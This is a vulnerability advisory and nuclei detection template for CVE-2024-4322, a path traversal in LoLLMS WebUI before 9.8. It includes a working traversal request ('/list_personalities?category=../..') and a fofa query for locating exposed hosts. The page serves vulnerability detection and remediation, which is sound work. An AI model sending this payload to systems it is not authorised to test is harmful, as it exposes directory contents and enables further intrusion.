LoLLMS WebUI < 9.8 - Path Traversal

highseverity

7.5CVSS score

30.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

parisneo/lollms-webui contains a path traversal caused by improper handling of 'category' parameter in /list_personalities endpoint, letting attackers list arbitrary directories, exploit requires control over 'category' parameter.

Impact

Attackers can list all directories on the system, leading to potential information disclosure and further exploitation.

Fix

Implement proper input validation and sanitization for the 'category' parameter; update to the latest version with security patches.

How to confirm it

Send: GET {{BaseURL}}/
Positive when: status_code == 200 and contains(body, "LoLLMS WebUI - Welcome")
Send: GET {{BaseURL}}/list_personalities?category=../..
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "\"lollms_core\"", "\"personal_data\"")

Run it with nuclei: nuclei -id CVE-2024-4322 -u <target>

The full check

id: CVE-2024-4322

info:
  name: LoLLMS WebUI < 9.8 - Path Traversal
  author: MJ-bin
  severity: high
  description: |
   parisneo/lollms-webui contains a path traversal caused by improper handling of 'category' parameter in /list_personalities endpoint, letting attackers list arbitrary directories, exploit requires control over 'category' parameter.
  impact: |
   Attackers can list all directories on the system, leading to potential information disclosure and further exploitation.
  remediation: |
   Implement proper input validation and sanitization for the 'category' parameter; update to the latest version with security patches.
  reference:
    - https://huntr.com/bounties/5116d858-ce00-418c-a5a5-851c5608c209
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4322
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-4322
    cwe-id: CWE-29
    epss-score: 0.30765
    epss-percentile: 0.98262
    cpe: cpe:2.3:a:lollms:lollms_web_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="LoLLMS WebUI - Welcome"
  tags: cve,cve2024,lollms-webui,lollms,traversal,ai

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/"

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "LoLLMS WebUI - Welcome")'
        internal: true
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/list_personalities?category=../.."

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"lollms_core\"", "\"personal_data\"")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from